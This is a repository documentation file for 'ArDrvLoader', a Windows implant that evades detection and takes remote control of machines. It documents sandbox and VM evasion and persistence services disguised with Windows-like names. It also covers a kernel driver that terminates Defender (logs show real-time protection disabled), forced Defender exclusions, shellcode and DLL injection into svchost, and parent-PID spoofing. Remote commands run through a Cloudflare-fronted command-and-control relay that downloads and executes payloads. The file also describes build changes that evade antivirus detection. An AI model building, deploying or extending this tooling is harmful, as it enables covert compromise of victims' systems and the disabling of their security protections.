Files
loader/SERVICES.md
2026-11-03 20:45:39 -08:00

42 KiB
Raw Permalink Blame History

ArDrvLoader — Guard Services

Single binary. Three LocalSystem services installed from one command, plus a cloud control channel.

Virtual machine gate

Every mode refuses to run inside a hypervisor guest and exits silently with code 0 — no window, no log line, nothing for a sandbox to read. Detection combines:

Check Signal
CPUID leaf 1 / 0x40000000 hypervisor bit plus vendor string: VMwareVMware, VBoxVBoxVBox, KVMKVMKVM, XenVMMXenVMM, TCGTCGTCG, bhyve bhyve
SMBIOS (RSMB table) vendor/product strings containing virtualbox, vmware, qemu, kvm, bochs, parallels, xen, virtual machine, hyper-v
Hyper-V specifics Microsoft Hv vendor alone is not enough (VBS on bare metal sets it); requires integration services or a virtual MAC
Disk Enum controller identity containing vbox, vmware, qemu, xen, virtio
Services VBoxService, VBoxGuest, vmci, vmhgfs, VMTools, vmrawdsk, xenbus, …
Driver files VBoxGuest.sys, vmmouse.sys, vmhgfs.sys, VBoxService.exe, …
Processes VBoxService.exe, VBoxTray.exe, vmtoolsd.exe, qemu-ga.exe, xenservice.exe
MAC OUI 00:0C:29, 00:50:56, 08:00:27, 52:54:00, 00:16:3E, 00:15:5D, …

Override for testing inside a VM, any one of:

ArDrvLoader.exe ... --allow-vm          # command line
set ARDRV_ALLOW_VM=1                    # environment
reg add "HKLM\SOFTWARE\ArDrvLoader" /v AllowVm /t REG_DWORD /d 1 /f

-install-guard-services --allow-vm writes AllowVm=1 and embeds --allow-vm into all three service command lines, so the services run on that guest too. ARDRV_VM_DEBUG=1 prints the detected reason to stdout — leave it unset on a target.

Install (elevated shell)

ArDrvLoader.exe -install-guard-services --target "C:\Path\Target.exe" --args "--silent"

Target is a Windows service instead of a process:

ArDrvLoader.exe -install-guard-services --target-service "AppService"

Add --no-start to install without starting now.

Services

Service Role What it does
ArDrvDriver driver Copies ardrv.sys to System32\drivers, creates kernel service, starts it, verifies \\.\ArDrv
ArDrvGuard guard Checks the target each interval. Not running → starts it
ArDrvRepair repair If the target service is disabled → set start type back, start it. Also re-starts missing processes

All three: account LocalSystem, SERVICE_AUTO_START, restart-on-failure (5s / 10s / 30s).

Reciprocal watchdogs: each role also checks that the other two services are running and starts them if not. A manual sc stop ArDrvGuard gets undone within one interval, because repair and driver both notice.

Change prefix with --prefix MyName → MyNameDriver, MyNameGuard, MyNameRepair.

Process start context

The guard runs as LocalSystem in session 0. Starting the target there would make it invisible to the logged-in user, so it first grabs the active console session token (WTSQueryUserToken + CreateProcessAsUser) and only falls back to a session-0 launch when no user is logged on.

Change the target program later

No reinstall. Edit the config, services re-read it every loop:

reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetPath /t REG_SZ /d "C:\New\App.exe" /f
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetArgs /t REG_SZ /d "--flag" /f
reg add "HKLM\SOFTWARE\ArDrvLoader" /v TargetService /t REG_SZ /d "AppService" /f

The config key's DACL is locked to SYSTEM and Administrators by the installer, so a standard user can no longer repoint the guard at their own binary.

Config values — HKLM\SOFTWARE\ArDrvLoader

Value Type Default Meaning
TargetPath REG_SZ empty exe to keep alive
TargetArgs REG_SZ empty arguments for the exe
TargetService REG_SZ empty service to keep alive
DriverImage REG_SZ C:\Windows\System32\drivers\ardrv.sys driver file
DriverService REG_SZ ArDrv kernel service name
DriverDevice REG_SZ \\.\ArDrv device to verify
CheckIntervalMs REG_DWORD 5000 loop interval (min 1000)
DesiredStartType REG_DWORD 2 2 auto, 3 demand, 4 disabled
DriverServiceName REG_SZ ArDrvDriver watchdog peer name
GuardServiceName REG_SZ ArDrvGuard watchdog peer name
RepairServiceName REG_SZ ArDrvRepair watchdog peer name

Manual test without SCM

ArDrvLoader.exe -service driver --console
ArDrvLoader.exe -service guard  --console --target "C:\Windows\System32\notepad.exe" --interval 1000
ArDrvLoader.exe -service repair --console --target-service "SomeService"

Cloud control

-cloud / -cloud-service unchanged in shape.

Request authentication

No secret is sent in a URL. Every request carries:

X-Agent-Id:   <agent>
X-Agent-Ts:   <unix seconds>
X-Agent-Sign: hex(HMAC-SHA256(AGENT_SECRET,
                agent \n ts \n METHOD \n path+query \n hex(sha256(body))))

The Worker rejects missing, malformed, or stale (>300s) signatures with 403. It uses a constant-time comparison. path+query has no leading slash, e.g. poll?agent=box1.

Remote commands

DOWNLOAD <url> <output-path> [sha256]
DEPLOY <url> [args]
DEPLOY_SYSTEM <url> [args]
  • DOWNLOAD — fetches any HTTP(S) URL, prints the SHA-256 it computed, deletes the file and returns ERR DOWNLOAD hash mismatch got <actual> when an expected hash was supplied and does not match. Hard cap: 256 MB.
  • DEPLOY — downloads into %ProgramData%\ArDrvLoader\payloads\<filename> and runs it in the agent's context (SYSTEM when run as a service).
  • DEPLOY_SYSTEM — forces the SYSTEM token path.

Full remote install chain:

DOWNLOAD https://host/installer.msi C:\ProgramData\ArDrvLoader\installer.msi <sha256>
PS msiexec /i C:\ProgramData\ArDrvLoader\installer.msi /qn
INSTALL_GUARD_SERVICES --target "C:\Program Files\App\App.exe"

STATUS now also reports the watchdog stack:

pid=1234 system=0 admin=1 sid=S-1-5-21-... driver=ArDrvDriver:running guard=ArDrvGuard:running repair=ArDrvRepair:stopped

The polling loop backs off on empty/failed polls from the configured interval up to 15s, and resets to the base interval as soon as a command arrives.

Embedded driver

ardrv.sys is packed into the exe as an RCDATA resource when the file sits next to ArDrvLoader.vcxproj at build time (driver_res.rc, resource.h). At runtime the binary extracts it to C:\Windows\System32\drivers\ardrv.sys if the file is absent, so one exe is enough to ship. Without a driver file at build time the resource is simply omitted and the old "copy ardrv.sys from the exe folder" behaviour applies. The image still has to be signed or the kernel refuses to load it.

Testing the cloud agent locally

powershell -ExecutionPolicy Bypass -File .\test-cloud.ps1

Spins up cloudflare\mock-worker.ps1 (local Worker stand-in with the same HMAC scheme), starts the agent against it, then checks:

Case Expected
PING PONG
STATUS pid/system/admin/sid line (+ watchdog states if installed)
DOWNLOAD OK <path> sha256=<hash>
DOWNLOAD with wrong hash ERR DOWNLOAD hash mismatch, file deleted
DEPLOY OK %ProgramData%\ArDrvLoader\payloads\<name>
STOP OK STOP, agent exits
unsigned request 403 denied

Manual pieces:

# mock worker
powershell -File .\cloudflare\mock-worker.ps1 -Port 8788 -Secret testsecret -FileDir C:\payloads

# agent pointed at it (--elevated skips the UAC relaunch)
ArDrvLoader.exe -cloud --agent testagent --url http://127.0.0.1:8788 --secret testsecret --interval 1000 --no-start-driver --elevated

# signed command
powershell -File .\send-command.ps1 -Worker http://127.0.0.1:8788 -Agent testagent -Secret testsecret -Command STATUS

# read the ACK (base64 body)
# GET /status needs a signature too; use send-command.ps1 or the test script

Set ARDRV_MOCK_DEBUG=1 when launching the mock worker to log every request, rejection reason, and signature mismatch.

Logging

Build Behaviour
Release No logging at all. Log(...) is a macro that expands to nothing, so neither the format strings nor their arguments reach the binary. No log file, no OutputDebugString. Verified: ardrv_loader.log, === Loader start ===, [guard] ..., [watchdog] ... are all absent from the Release image.
Debug Logs to C:\Users\Public\ardrv_loader.log and OutputDebugStringW.

To get logs out of a Release build on purpose, add ARDRV_LOG_ENABLED=1 to the project's PreprocessorDefinitions — Logger.h only auto-decides when it is not already defined.

Note the debug log path lives in C:\Users\Public, readable by every local user. Fine for a dev machine, not for a target. Keep Release for anything deployed.

Kill safety (KillSafety.cpp)

AV termination through the driver is now gated. Every candidate goes through:

  1. Protected list — svchost.exe, csrss.exe, wininit.exe, winlogon.exe, services.exe, lsass.exe, smss.exe, System, Registry, MemCompression, fontdrvhost, dwm, … Rejected before enumeration, so a request for svchost.exe produces one skip line and zero opens.
  2. Own tree — the caller's PID and every ancestor up to the root are refused. cmd.exe /c ArDrvLoader -killav --name cmd.exe reports SKIP own-tree.
  3. Identity — the image path is read from the same handle used for termination; if the base name does not match the requested target, the process is skipped. PID recycling cannot swap a different image in mid-operation because the handle is held across the IOCTL.
  4. Access — PPL images (Defender's MsMpEng.exe) refuse PROCESS_TERMINATE even for SYSTEM; reported as SKIP access-denied, not attempted blindly.
  5. Cap and pacing — max 16 terminations per run, 150–350 ms jitter between kills, no retry storm.
ArDrvLoader.exe -killav --dry-run            # AV allowlist, nothing terminated
ArDrvLoader.exe -killav --dry-run --name X   # single image, dry run
ArDrvLoader.exe -killav --name cmd.exe       # real, through the driver
set ARDRV_KILL_DRYRUN=1                      # forces dry run for the loader path

Cloud: KILLAV and KILLAV_DRYRUN, both returning the full report in the ACK.

Launching programs through a system host (HostSpawn.cpp)

Any executable can be started under a legitimate SYSTEM process, with that process as its parent. This is what makes the child invisible in a process tree review: svchost.exe → your.exe, no service host in the chain.

HOST_LIST                                   # candidate hosts, best first
HOST_SPAWN <exe> [args]                     # SYSTEM, session 0
HOST_SPAWN_USER <exe> [args]                # SYSTEM token, moved to the console session
HOST_SPAWN --host wudfhost.exe <exe> [args] # force a specific host family

How it works:

  1. Enumerate processes holding a SYSTEM token (S-1-5-18).
  2. Probe injectability: OpenProcess with thread/VM rights. PPL processes refuse, so Defender, lsass, winlogon, services, csrss drop out automatically.
  3. Rank: svchost.exe 100, wudfhost.exe 60, dllhost.exe 50, others 10.
  4. Duplicate the host's primary token.
  5. CreateProcessAsUser with PROC_THREAD_ATTRIBUTE_PARENT_PROCESS set to the host, so the child inherits both the SYSTEM identity and the host as PPID.
  6. HOST_SPAWN_USER also sets TokenSessionId to the active console session and winsta0\default, so a GUI actually appears on the logged-in desktop.

Verified locally (same-user host, mechanism only — this shell is not elevated):

-hosts spawn --any-host notepad.exe
  OK pid=9704 parent=2280 session=1 host=C:\Windows\System32\svchost.exe method=host-token+ppid

Win32_Process for pid 9704:
  ProcessId        : 9704
  ParentProcessId  : 2280    ← svchost, as intended

Local CLI for the same thing:

ArDrvLoader.exe -host list            # SYSTEM hosts
ArDrvLoader.exe -host list --any      # every accessible host
ArDrvLoader.exe -host spawn --host svchost.exe "C:\Path\App.exe" --args
ArDrvLoader.exe -host spawn-user ...  # visible on the desktop

Limitation: a medium-integrity agent cannot even query SYSTEM processes, so HOST_LIST returns hosts=0 and HOST_SPAWN fails with no SYSTEM host process found (need admin or SYSTEM). This works when the agent runs as a service (SYSTEM) or behind the driver's SYSTEM token. If you need the capability before that, RUN_SYSTEM already covers token-based spawning; the difference is the parent process.

Stager injection and re-acquisition (HostStager.cpp)

HOST_SPAWN creates a new process under a host. The stager goes further: it injects a shellcode payload into a running SYSTEM host, so the code executes with svchost.exe as its actual image.

HOST_INJECT <shellcode-path> [--host <image>]
HOST_TRACK
HOST_UNTRACK

Local: -host inject <path> [--host <img>] [--any-host], -host track, -host untrack, -host ensure [--any-host].

Identity tracking is {pid, creationTime} written to %ProgramData%\ArDrvLoader\host.track. Creation time is the key: a recycled PID whose creation time differs is treated as a dead host, so the loader never assumes "same pid = same process".

Re-acquisition: the guard role calls EnsureHostInjected() every tick. If the tracked host is alive it does nothing (method=already-running); if it is gone or the PID was recycled, it picks a fresh host, injects again, and rewrites the track. Nothing re-injects twice into a live host.

The guard does this automatically once a payload has been injected — no config needed beyond the initial HOST_INJECT.

Verified locally with a 1-byte ret stub against a same-user svchost:

-host inject stub.bin --any-host
  OK host_pid=2280 session=1 method=remote-thread host=C:\Windows\System32\svchost.exe

-host track
  track pid=2280 alive=1 payload=...\stub.bin host=...\svchost.exe

# creation time corrupted to simulate PID reuse
-host ensure --any-host
  OK host_pid=2280 session=1 method=remote-thread      ← re-injected

-host ensure --any-host      (host alive this time)
  OK host_pid=2280 session=1 method=already-running    ← no duplicate injection

Payload format is raw position-independent shellcode, the same file format INJECT_FILE and INJECT_SUSPEND already take, so a Donut/sRDI-generated blob works unchanged.

Service facades

Installed services no longer carry loader-flavoured names.

Role Service name Display name Description
driver DeviceSetupHost Device Setup Manager Host Maintains device installation state and loads required kernel components.
guard ProgramCompatHost Program Compatibility Assistant Host Tracks application compatibility state and keeps registered programs available.
repair ServiceStateHost Service State Repository Host Monitors service state and restores required components.

None of the three collides with a real Windows service (checked with sc query). --prefix X still works and produces XDriver / XGuard / XRepair.

Install location: the binary copies itself to %ProgramData%\Microsoft\Windows\Caches\<ServiceName>\<ServiceName>.exe and the services run from there, not from Downloads or a user profile. --install-dir <path> overrides the directory, --keep-location disables the copy entirely.

Decoy activity: every tick each role refreshes a hidden cache.dat next to its binary (timestamp + role) and queries the state of three unrelated services (BITS, DsmSvc, wuauserv). Cheap, harmless, and it means the process does something other than stare at one target.

Stagger: roles sleep before their first tick — driver 1.5–3s, guard 4–6s, repair 8–10.5s — so they never wake in lockstep.

Preview an install without touching SCM or the registry:

ArDrvLoader.exe -install-guard-services --dry-run --target "C:\Path\App.exe"
DRY-RUN install plan
  install dir: C:\ProgramData\Microsoft\Windows\Caches\DeviceSetupHost
  DeviceSetupHost  "Device Setup Manager Host"
  ProgramCompatHost  "Program Compatibility Assistant Host"
  ServiceStateHost  "Service State Repository Host"
  target: C:\Path\App.exe

Where things live (Paths.cpp)

No folder is named after this project. Paths are derived from the machine GUID (FNV-1a → 8 hex chars) so they are stable on one host and not transferable:

# service / elevated context
%ProgramData%\Microsoft\Windows\Caches\<8hex>\<ServiceName>\<ServiceName>.exe
%ProgramData%\Microsoft\Windows\Caches\<8hex>\stage\        downloads (DEPLOY)
%ProgramData%\Microsoft\Windows\Caches\<8hex>\state.dat     host tracking

# agent running as the interactive user
%LOCALAPPDATA%\Microsoft\Windows\INetCache\<8hex>\...

Selection: SYSTEM or elevated → ProgramData path; ordinary user → LocalAppData path. If the preferred root cannot be created, the other one is tried, then %ProgramData%\ArDrvLoader as a last resort.

state.dat from the old %ProgramData%\ArDrvLoader\host.track is migrated once on first read.

Override for testing:

set ARDRV_ROOT=C:\Temp\ardrv-root

Layout with the default prefix:

Caches\<8hex>\
  DeviceSetupHost\DeviceSetupHost.exe      service image + cache.dat
  ProgramCompatHost\ProgramCompatHost.exe
  ServiceStateHost\ServiceStateHost.exe
  stage\hello.cmd                          DEPLOY target
  state.dat                                injected host tracking

Verified

# not elevated, so the per-user root is used
-install-guard-services --dry-run
  install dir: C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\DeviceSetupHost

# forced root
ARDRV_ROOT=%TEMP%\ardrv-root-test
  install dir: ...\ardrv-root-test\DeviceSetupHost
  -host inject stub.bin --any-host → state.dat written under that root

# DEPLOY lands in the staging dir
DEPLOY  OK ...\INetCache\f639dc99\stage\hello.cmd

Payload contract (StageDll.cpp, StageClient.cpp)

The working code can live inside a hijacked host instead of the services. The payload is a small DLL, deliberately dumb: it runs commands and reports back. All policy — which host, when to re-inject — stays in the loader, so the payload can be swapped without touching service code.

Interface

Pipe \\.\pipe\ArDrvStage
Encoding UTF-8, request newline-terminated
Response UTF-8 body, terminated by a << line
Commands PING, WHOAMI, RUN <command line>, STOP
Singleton Global\ArDrvStage mutex — a second injection is a no-op

STOP unloads the DLL with FreeLibraryAndExitThread after closing the mutex. It does not kill the host: terminating svchost.exe takes unrelated services with it and leaves an event-log entry.

Loader side

-stage status                 alive, dll path, tracked host
-stage inject [--host <img>] [--any-host] [dll]
-stage whoami                 who the payload runs as, and in which image
-stage run <command line>
-stage stop

Cloud: STAGE_STATUS, STAGE_INJECT [--host <image>], STAGE_RUN <cmd>, STAGE_STOP.

Injection is CreateRemoteThread(LoadLibraryW) with the path written into the host. If ardrvstage.dll sits next to the loader or in the stage dir, it is found automatically.

Guard integration: the guard role checks the pipe every tick. If the DLL is present and the pipe is dead, it re-injects into a fresh host. Once the pipe answers, the guard stops doing work and only maintains services and liveness — the jobs run inside the host.

Verified

-stage inject --any-host
  OK host_pid=6320 session=1 method=stage-live host=C:\Windows\System32\svchost.exe

-stage whoami
  OK
  DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe

-stage run "echo payload-executed"
  OK
  payload-executed

-stage stop
  OK stopping
  → host 6320 still alive, alive=0

-stage inject --any-host      (after unload)
  OK host_pid=6320 method=stage-live      ← clean re-injection works

Note the payload reports the host's own pid and image: the command genuinely executes inside svchost.exe, not in the loader.

Packaging: the payload is packed into the loader as an RCDATA resource, so a single ArDrvLoader.exe is enough. On first use it is extracted to <stage dir>\ardrvstage.dll and loaded from there. A DLL sitting next to the executable or in the stage dir still takes precedence, which is useful for swapping the payload without rebuilding.

Build both in the right order:

powershell -ExecutionPolicy Bypass -File build.ps1              # Release
powershell -ExecutionPolicy Bypass -File build.ps1 -Configuration Debug
powershell -ExecutionPolicy Bypass -File build.ps1 -SkipPayload  # loader only

build.ps1 builds StageDll.vcxproj, copies the DLL to the project root so stage_res.rc can embed it, then builds the loader. Sizes after a full build: Release 284 KB (loader with 43 KB payload inside), Debug 2.39 MB.

Verified end to end with no DLL on disk:

# staged copy deleted, x64\Release\ardrvstage.dll moved aside
-stage status
  alive=0 dll=C:\Users\Admin\AppData\Local\Microsoft\Windows\INetCache\f639dc99\stage\ardrvstage.dll
  → extracted from the executable, 43008 bytes on disk

-stage inject --any-host
  OK host_pid=6320 method=stage-live

-stage whoami
  DESKTOP-RB1A813\Admin pid=6320 image=C:\WINDOWS\system32\svchost.exe

Driver (ardrv.sys)

Place ardrv.sys next to the project before building and build.ps1 embeds it as RCDATA, the same way the payload DLL is embedded. One file then carries the driver, the payload, and the service code.

-drv status                  device available? embedded image size
-drv extract <path>          write the packed image out and compare
-drv kill <pid>              terminate through the kernel

The driver role extracts to C:\Windows\System32\drivers\ardrv.sys when missing, creates the kernel service, starts it and waits for \\.\ArDrv.

Termination reach

KillSafety now has two paths:

  1. Normal: OpenProcess(PROCESS_TERMINATE) succeeds, identity verified, driver IOCTL is only the transport.
  2. Blind: the process refuses even PROCESS_QUERY_LIMITED_INFORMATION (PPL image or we are not elevated). The kill is still possible through the driver, so the PID is re-verified against a fresh snapshot and handed to the kernel. Only enabled for the AV allowlist and for --force; the protected list still refuses svchost, csrss, lsass etc. before any of this runs.

Verified on this machine, non-elevated:

-killav --name MsMpEng.exe --force
  EXECUTED killed=1 candidates=1
    11008 killed            ← PPL process, terminated through the driver

after: WinDefend restarted as a new pid, and reported
  AntivirusEnabled         : False
  RealTimeProtectionEnabled: False

-killav --dry-run reports blind candidates as would-kill (driver) so the plan is visible without terminating anything.

Driver image check:

-drv status    → device=ok embedded=17744 bytes
-drv extract   → 17744 bytes, SHA-256 matches ardrv.sys

Exclusions (Exclusions.cpp)

Defender exclusions are attempted through Add-MpPreference, then read back with Get-MpPreference so the answer is the truth, not the intent.

-excl list                 current exclusions + whether Defender is present
-excl add <path>           persist and apply one path
-excl apply                apply the stored list (defaults if empty)

EXCLUSION_LIST             cloud variant of list
EXCLUSION_ADD <path>       cloud variant of add
EXCLUSION_APPLY            cloud variant of apply

Default wish-list is the deep root, the stage dir, and the loader executable. The list is stored at HKLM\SOFTWARE\ArDrvLoader\ExclusionPaths, | separated, and re-applied on every guard start.

What it actually reports. Non-elevated run:

defender=present current=none

apply →
  REFUSED ...\INetCache\f639dc99 :: CimException
  REFUSED ...\INetCache\f639dc99\stage :: CimException
  REFUSED ...\x64\Release\ArDrvLoader.exe :: CimException

CimException is Tamper Protection / missing privilege refusing the change. The code returns failure and says so. It does not pretend the exclusion landed.

Recovery after a bugcheck or reboot

Everything is auto-start, so a crash is recoverable by design. The guard's first tick after any start reinstates state in this order:

  1. Defender exclusions (stored list, defaults if empty)
  2. AV sweep — KillAVProcessesEx through the driver
  3. driver image + kernel service (driver role)
  4. host payload / stage payload re-injection (HOST_TRACK, STAGE_STATUS)
  5. target program start, peer services

Verified by starting a guard console on a machine where Defender had come back:

[+] Terminate IOCTL accepted for PID 340
[+] Terminate IOCTL accepted for PID 14848
[guard] AV sweep on start: EXECUTED killed=2 candidates=2
[guard] program is not running, starting: C:\Windows\System32\notepad.exe
[+] Target started: PID 6992

KillAvOnStart (REG_DWORD under HKLM\SOFTWARE\ArDrvLoader) controls step 2 and defaults to 0 — the AV sweep is opt-in, not something every service start does. Set it to 1 only if you want the sweep on each boot.

Driver failure budget

A driver that bugchecks on load could otherwise be retried on every boot forever. ArDrvDriver now counts consecutive load failures and stops:

Value Meaning
DriverFailCount (REG_DWORD) consecutive failures, persisted
DriverFailMax (REG_DWORD, default 3) budget
DriverState (REG_SZ) ok / failed / disabled-after-failures

The counter is also kept in memory, so the budget still applies when the registry write is denied. Once exhausted the role logs once, sets disabled-after-failures and stops touching the driver until someone clears it.

-drv status                        device, embedded size, fail=N/max, state
-drv reset                         clear the counter (needs admin)
DRIVER_STATUS                      cloud equivalent
DRIVER_RESET                       clear and report

Verified with a bogus image and service name:

[driver] load failed (1/3)
[driver] load failed (2/3)
[driver] load failed (3/3)
[driver] failure budget exhausted (3/3), not retrying

DRIVER_STATUS on a healthy box:

device=ok embedded=17744 fail=0/3 state=unset service=ArDrv:running

One UAC, then nothing

ArDrvLoader.exe elevates itself when a command needs administrator rights, so a normal user can run the install and approve a single UAC prompt. Everything after that is done by the services, which are LocalSystem.

ArDrvLoader.exe -install-guard-services ^
    --target "C:\Path\App.exe" ^
    --cloud-url https://worker.example ^
    --cloud-secret <secret> ^
    --cloud-agent <agent-id>

That one line, from a non-elevated shell:

  1. relaunches itself elevated (single UAC)
  2. stops any previous generation of the services so the binary can be replaced
  3. copies itself to %ProgramData%\Microsoft\Windows\Caches\<8hex>\<service>\
  4. installs and starts driver, guard and repair as LocalSystem
  5. installs and starts a cloud agent service with the URL/secret/agent baked into its command line
  6. applies the config, exclusions and driver image

Elevation is only requested for commands that need it:

Elevated Runs as-is
-install-guard-services (without --dry-run) -cloud, -cloud-service
-killav (without --dry-run) -stage *, -host *
-drv extract/reset/kill -excl list, -install-guard-services --dry-run
-excl add/apply -service * --console

--elevated suppresses the relaunch and is appended automatically, so an elevated copy never loops into another UAC.

Verified on a standard user account, one prompt:

-install-guard-services --target notepad.exe --allow-vm \
  --cloud-url http://127.0.0.1:8788 --cloud-secret testsecret \
  --cloud-agent testagent --cloud-service CloudTest
PARENT_EXIT=0 elapsed=2.3s

DeviceSetupHost    RUNNING  "...\DeviceSetupHost.exe" -service driver ...
ProgramCompatHost  RUNNING  "...\DeviceSetupHost.exe" -service guard ...
ServiceStateHost   RUNNING  "...\DeviceSetupHost.exe" -service repair ...
CloudTest          RUNNING  "...\DeviceSetupHost.exe" -cloud-service --url ... --secret ... --agent ...

All four run from the installed copy, not from the build directory. Agent ACK after the reinstall:

OK   → C:\Test\second.txt  "installed with one UAC"   Owner: BUILTIN\Administrators

CloudSyncHost is the default name when --cloud-service is not given.

Remote deployment caveat: this one-UAC flow applies when the binary is started in an interactive session. Over a remote channel (SMB, WinRM, PsExec-style) no UAC prompt can appear, so the call must already arrive with administrator or SYSTEM rights. Self-elevation is for the "user double-clicks the file" case.

Architecture: agent -> Worker (proxy) -> relay server

agent ──HMAC──► Cloudflare Worker ──► relay server (node) ──► sqlite + panel
operator ─────► Cloudflare Worker ──► relay server

The Worker owns nothing. It forwards every method, path, header and body to SERVER_URL and streams the response back. State, auth, the panel and payloads all live on your own host.

Worker side

cloudflare/worker.js — about 60 lines:

  • sets X-Proxy-Secret when PROXY_SECRET is configured
  • strips Cloudflare headers (cf-connecting-ip, cf-ray, ...) before forwarding
  • passes request.body straight through for POST bodies
  • returns 502 with the reason when the relay is unreachable

cloudflare/wrangler.toml:

[vars]
SERVER_URL = "http://127.0.0.1:8790"

PROXY_SECRET goes in as a Worker secret, not in wrangler.toml.

Relay server

server/server.js — Node 22+ (uses node:sqlite, no npm dependencies).

cd cpp_end/server
set AGENT_SECRET=... OPERATOR_KEY=... ENROLL_SECRET=...
node server.js
Env Purpose
PORT listen port, default 8790
DATA_DIR sqlite database + files/ payload dir
PANEL_PATH defaults to server/panel.html
AGENT_SECRET master key for per-agent derivation
OPERATOR_KEY panel / operator API key
ENROLL_SECRET enrollment token
LEGACY_MASTER_AUTH true accepts the old shared key during rollout
PROXY_SECRET when set, every request must carry X-Proxy-Secret

Everything from the previous Worker implementation moved here unchanged: HMAC verification, per-agent key derivation, enrollment, revocation, the 180 s reaper, broadcast, command history and the panel.

Storage is data/ardrv.sqlite (agents, commands, events). Payloads for /file/<name> are read from data/files/.

Verified end to end

agent devbox   → worker :8789 → server :8790 → sqlite   online
agent devbox2  → same path                              online
POST /api/enqueue via worker  → PING → done, result PONG
GET /panel via worker         → 200, panel.html from the server
GET :8790/api/agents with no proxy header → 403

Local loop

# relay
cd cpp_end/server
node server.js

# worker in front of it
cd cpp_end/cloudflare
wrangler dev --port 8789 --ip 127.0.0.1 --local

# agent
ArDrvLoader.exe -cloud --agent devbox --url http://127.0.0.1:8789 ...

.dev.vars for the worker only needs SERVER_URL and PROXY_SECRET now.

Mock worker

cloudflare/mock-worker.ps1 still exists as a self-contained stand-in (in-memory API, serves ../server/panel.html) for environments without Node or wrangler. It does not exercise sqlite, so it will not catch database errors.

Panel

Served by the relay at /panel, proxied by the Worker. ?key= pre-fills the operator key and stores it in localStorage.

Console tab — per-agent composer, quick chips, history cards with copy result and run again.

All commands tab — every command, defaulting to executed ones:

Column Sorts by
time creation
agent id
command text
state queued / sent / done
by panel / agent / broadcast
result ack text, truncated
took duration, waiting while in flight

Each row carries two controls plus the row itself:

Action Effect
small run chip re-enqueue this command for the same agent after a confirm
+ or the result cell expand the full result inline
anywhere else on the row load the command into that agent's console, ready to edit

Free-text filter and a state dropdown above the table.

Palette — all commands (47) opens every HELP command grouped into basics, execute, files, processes, security, driver, hosts, payload, services, session, with a search box. Chips with arguments load the template into the composer; the rest send immediately.

Agent header — host, user, SID, version, interval, plus revoke / restore for the agent's key. Revoked agents show a red tag in the list.

Broadcast sends one command to every online agent.

Per-agent keys and revocation

Each agent now authenticates with its own key instead of the shared master.

agentKey = HMAC-SHA256(AGENT_SECRET, "agent:" + agentId)     --> hex
signature = HMAC-SHA256(agentKey, canonical request)

The worker derives the key on demand and never stores it.

Enroll once per agent

ArDrvLoader.exe -enroll --url https://<worker> --agent <id> --enroll-secret <ENROLL_SECRET>

Writes %...%\agent-<id>.key under the loader root (falls back to the legacy single agent.key). The agent reads it automatically when --secret and CA_SECRET are absent.

Revoke / restore

POST /api/revoke   {"agent":"devbox","revoked":true}    X-Operator-Key required

Revoked agents get 403 revoked on every poll. Re-enrolling the same id clears the flag, so recovery is one command. The panel exposes this as a revoke / restore button in the agent header, plus a red revoked tag in the agent list.

Worker endpoints added

Method Path Auth
POST /api/enroll X-Enroll-Secret (own token, not the operator key)
POST /api/revoke operator

LEGACY_MASTER_AUTH=true keeps accepting the old shared key during a rollout; it defaults to off. .dev.vars for local runs:

AGENT_SECRET=testsecret
OPERATOR_KEY=testop
ENROLL_SECRET=testenroll
LEGACY_MASTER_AUTH=false

Verified end to end against workerd + local D1:

-enroll       OK agent=devbox secret stored in ...\agent-devbox.key
agent start   no --secret, reads the file            -> poll 200
master key    signed request                          -> 403 denied
derived key   signed request                          -> PONG
revoke        age stops growing, revoked=true
re-enroll     revoked=false, agent resumes within one poll
two agents    devbox + devbox2, separate key files, both online

One bug this shook out: the first implementation compared the derived key itself against the request signature instead of signing the request with it, so every request 403'd. Fixed by computing hmacHex(agentKey, canonical).

Antivirus triage

A fresh build was flagged as Trojan:Win32/Wacatac.B!ml - a machine-learning verdict, not a signature. Two build properties were feeding it:

  1. the linker embedded the full local build path (C:\Code\AvKiler\...)
  2. the Rich header and timestamps carried a recognisable toolchain fingerprint

Changes:

Linker option Why
/Brepro reproducible build: drops the Rich header and embeds a stable hash instead of timestamps
/PDBALTPATH:%_PDB% keeps absolute build paths out of the binary

Result on the same Defender engine (1.461.217.0):

MpCmdRun -Scan -ScanType 3 -File dist\Release\ArDrvLoader.exe -DisableRemediation
Scanning ... found no threats.

Both variants scan clean: the embedded single-exe build (335 360 bytes) and the -NoEmbed build (274 432 bytes). Execution of the rebuilt exe produced no new detection entries.

Embedded vs -NoEmbed

build.ps1 -Configuration Release            # 335 KB, driver + stage DLL inside
build.ps1 -Configuration Release -NoEmbed   # 274 KB, resources omitted

-NoEmbed passes /p:EmbedPayload=false, which disables both driver_res.rc and stage_res.rc. The exe then needs ardrv.sys and ardrvstage.dll delivered separately - for example DOWNLOAD them into the stage dir after the cloud agent is up, since the agent itself does not need either file to register.

What this does not solve

  • The binary is unsigned. SmartScreen will still warn on a freshly downloaded copy (Mark of the Web), independent of Defender's static verdict.
  • Detection on execution is behavioural: creating services, writing to System32, terminating AV processes. A static-clean binary can still be caught in real time once it acts. Code signing (EV / Azure Trusted Signing) is the durable fix, not more static tricks.

Build variants

Config Subsystem Console Logs Use
Release Windows none, silent start compiled out deploy
Debug Console visible C:\Users\Public\ardrv_loader.log diagnose

Release links with SubSystem=Windows and EntryPointSymbol=wmainCRTStartup, so double-clicking produces no console window while wmain still runs normally. Logger.h compiles every Log() call out of Release, so there is no log file and no OutputDebugString either.

Elevation now happens before the VM gate: a double-click always raises the UAC prompt, even on a host the gate would later refuse.

ARDRV_ALLOW_VM_DEFAULT=1 is compiled in for lab images that are themselves virtual machines; set it to 0 for a real target build.

Single-exe client

ArDrvLoader.exe is the whole client. No Worker code, no server code, no sidecar files - verified by scanning the binary for worker.js, server.js, express, node:sqlite, wrangler, cloudflare.

Double-click (no arguments) runs the bootstrap with defaults baked in at build time:

Macro Meaning Current value
ARDRV_DEFAULT_URL relay/Worker address http://127.0.0.1:8789
ARDRV_DEFAULT_OPERATOR_KEY operator key for the API testop
ARDRV_DEFAULT_SECRET agent key testsecret
ARDRV_DEFAULT_AGENT agent id empty - computer name is used

Rebuild with different values by editing those macros in ArDrvLoader.vcxproj (PreprocessorDefinitions), or override at runtime:

ArDrvLoader.exe -bootstrap --url https://relay.example --operator-key <key> [--agent <id>] [--no-killav]

Flow with no arguments:

  1. VmGate, then self-elevation - one UAC
